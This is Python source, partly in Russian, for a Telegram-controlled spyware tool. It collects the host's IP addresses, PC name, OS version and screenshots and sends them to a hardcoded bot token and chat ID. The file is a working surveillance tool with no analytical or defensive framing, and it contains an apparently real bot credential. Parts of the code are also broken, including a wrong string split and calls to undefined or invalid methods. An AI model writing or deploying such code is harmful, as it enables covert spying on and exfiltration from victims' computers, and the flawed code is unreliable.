import requests from subprocess import check_output from bs4 import BeautifulSoup as bs from telebot import types import telebot from mss import mss from platform import node, system, release from time import sleep ip_adress_two = [str(check_output('ipconfig').decode('cp866')).split('n')] ip = f"Локальный IPv6-адрес канала: {[ip_v_six.split(':').strip() for ip_v_six in ip_adress_two if 'Локальный IPv6-адрес канала . . .' in ip_v_six]}\nIP_v4 Адресс: {[ip_v_four.split(':').strip() for ip_v_four in ip_adress_two if 'IPv4-адрес. . . . . . . . . . . .' in ip_v_four]}" token="5049425062:AAEtaqC54fKpRlG4zb57U6rFQVJ-ykmC9IA" chat_id="1435338448" requests.post(f"http://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text=Online_{id}") bot = telebot.TeleBot(token) @bot.message_handler(commands=["start"]) def start(message): mrk = types.ReplyKeyboardMarkup(resize_keyboard=True) buttons = ["/ip", "/specification", "screenshot"] mrk.add(types.KeyboardButton([button for button in buttons])) bot.reply_to(message, "Starting...") sleep(0.3) bot.reply_to(message, "Choice function:") @bot.message_handler(commands=["ip"]) def ip(message): bot.reply_to(message, "Get ip....") sleep(1) bot.reply_to(message, str(ip).decode('cp866')) @bot.message_handler(commands=["specification"]) def spec(message): data_pc = f"Name PC: {node()}\nSystem PC: {system()} {release()}" bot.reply_to(message, f"{data_pc}") @bot.message_handler(commands=["screenshot_screen"]) def screen(message): with mss() as sct: sct.shot(mon=-1) sleep(0.2) with open("monitor-0.png", "rb") as img: bot.reply_to(message, "Изображение: ") bot.send_photo(message.chat.id, img) if __name__ == "__main__": bot.polling()